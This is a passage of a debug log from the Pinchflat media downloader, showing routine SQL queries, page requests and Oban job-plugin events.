FROM "media_items" AS m0 WHERE (m0."id" = ?) [14408] 00:17:45.351 [debug] QUERY OK source="tasks" db=1.7ms idle=1085.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [14408] 00:17:45.351 [debug] QUERY OK source="sources" db=1.5ms queue=0.2ms idle=1085.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 00:17:45.352 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=1088.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2349] 00:17:45.353 [debug] QUERY OK source="settings" db=0.2ms idle=530.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:17:45.353 [debug] QUERY OK source="settings" db=0.1ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:17:45.354 [debug] QUERY OK source="settings" db=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:17:45.355 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 00:17:45.356 [info] Sent 200 in 10ms 00:17:52.810 [info] {"source":"oban","duration":6728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:00.913 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:18:22.813 [info] {"source":"oban","duration":2792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:52.823 [info] {"source":"oban","duration":7686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:00.915 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:19:22.828 [info] {"source":"oban","duration":3883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:33.096 [info] GET /sources/10 00:19:33.097 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "10"} Pipelines: [:browser] 00:19:33.104 [debug] QUERY OK source="sources" db=0.9ms queue=0.3ms idle=594.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 00:19:33.108 [debug] QUERY OK source="media_profiles" db=1.9ms queue=0.3ms idle=589.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 00:19:33.113 [debug] QUERY OK source="tasks" db=3.9ms queue=0.1ms idle=592.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [10, "executing", "available", "scheduled", "retryable"] 00:19:33.113 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=597.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2350] 00:19:33.115 [debug] QUERY OK source="settings" db=0.2ms idle=598.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:19:33.115 [debug] QUERY OK source="settings" db=0.3ms idle=15.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:19:33.117 [debug] QUERY OK source="settings" db=0.2ms idle=8.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:19:33.120 [debug] QUERY OK source="sources" db=0.3ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 00:19:33.122 [debug] QUERY OK source="media_items" db=1.3ms idle=7.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 00:19:33.124 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=7.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 00:19:33.126 [debug] QUERY OK source="sources" db=0.3ms idle=10.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 00:19:33.127 [debug] QUERY OK source="media_items" db=0.2ms idle=9.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [10] 00:19:33.128 [debug] QUERY OK source="media_items" db=0.7ms idle=6.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 00:19:33.129 [debug] QUERY OK source="sources" db=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 00:19:33.130 [debug] QUERY OK source="media_items" db=0.5ms idle=5.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [10] 00:19:33.131 [debug] QUERY OK source="media_items" db=1.0ms idle=4.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 00:19:33.133 [info] Sent 200 in 36ms 00:19:52.834 [info] {"source":"oban","duration":4691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:00.922 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:20:22.840 [info] {"source":"oban","duration":4129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:52.853 [info] {"source":"oban","duration":4518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:00.924 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:21:12.071 [info] GET /sources/7/media/13747 00:21:12.071 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "13747", "source_id" => "7"} Pipelines: [:browser] 00:21:12.073 [debug] QUERY OK source="media_items" db=0.9ms queue=0.3ms idle=1382.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13747] 00:21:12.075 [debug] QUERY OK source="tasks" db=0.5ms queue=0.2ms idle=1385.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [13747] 00:21:12.076 [debug] QUERY OK source="sources" db=1.1ms idle=1385.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 00:21:12.079 [debug] QUERY OK source="oban_jobs" db=1.4ms idle=1033.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2308] 00:21:12.080 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=28.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:21:12.081 [debug] QUERY OK source="settings" db=0.2ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:21:12.082 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:21:12.084 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 00:21:12.089 [info] Sent 200 in 17ms 00:21:22.864 [info] {"source":"oban","duration":3253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:52.868 [info] {"source":"oban","duration":3782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:00.930 [info] {"source":"oban","duration":1115,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:22:22.882 [info] {"source":"oban","duration":4436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:52.896 [info] {"source":"oban","duration":2640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:00.935 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:23:22.813 [info] GET / 00:23:22.813 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 00:23:22.814 [debug] QUERY OK source="settings" db=0.4ms idle=1842.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:23:22.815 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1843.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 00:23:22.817 [debug] QUERY OK source="sources" db=1.7ms idle=1843.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 00:23:22.823 [debug] QUERY OK source="media_items" db=6.0ms idle=1845.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:23:22.824 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=921.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:23:22.825 [debug] QUERY OK source="settings" db=0.2ms idle=10.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:23:22.825 [debug] QUERY OK source="settings" db=0.1ms idle=10.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:23:22.826 [debug] QUERY OK source="settings" db=0.1ms idle=8.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:23:22.827 [debug] QUERY OK source="tasks" db=0.2ms idle=4.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 00:23:22.829 [debug] QUERY OK source="media_items" db=0.3ms idle=4.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 00:23:22.830 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=4.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 00:23:22.831 [debug] QUERY OK source="sources" db=0.3ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 00:23:22.834 [debug] QUERY OK source="media_items" db=1.9ms idle=6.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 00:23:22.836 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=7.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 00:23:22.836 [debug] QUERY OK source="sources" db=0.3ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", 